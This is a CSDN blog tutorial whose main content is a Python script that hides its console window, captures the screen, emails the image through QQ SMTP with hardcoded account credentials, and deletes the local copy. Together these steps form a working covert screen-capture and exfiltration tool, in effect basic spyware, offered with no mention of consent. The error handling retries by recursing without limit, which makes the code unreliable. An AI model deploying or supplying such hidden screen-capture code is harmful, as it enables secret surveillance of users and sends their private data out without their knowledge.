Python3.4 截屏并将图片发至邮箱

本文介绍了如何使用Python3.4进行屏幕截图,并通过电子邮件将图片发送到指定邮箱。作者为王小涛_同学,详细教程包含代码示例。
摘要由CSDN通过智能技术生成
from PIL import ImageGrab
import ctypes
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import smtplib
import os
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)
def sendfiles():
    try:
        user = '********@qq.com'
        pwd = '********'
        to = ['******@qq.com']
        msgRoot = MIMEMultipart('related')
        msgRoot['Subject'] = '截图'
        msgText = MIMEText(
            '''<b> Some <i> HTML </i> text </b > and an image.<img alt="" src="cid:image1"/>good!''', 'html', 'utf-8')
        msgRoot.attach(msgText)
        fp = open('./abc.bmp', 'rb')
        msgImage = MIMEImage(fp.read())
        fp.close()
        msgImage.add_header('Content-ID', '<image1>')
        msgRoot.attach(msgImage)
        s = smtplib.SMTP('smtp.qq.com')
        s.login(user, pwd)
        s.sendmail(user, to, msgRoot.as_string())
        print('发送成功')
        s.close()
    except:
        sendfiles()
img = ImageGrab.grab()
img.save('./abc.bmp')
sendfiles()
os.remove('./abc.bmp')
time.sleep(180)

转载请注明作者与出处:http://blog.csdn.net/u013511642   王小涛_同學

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值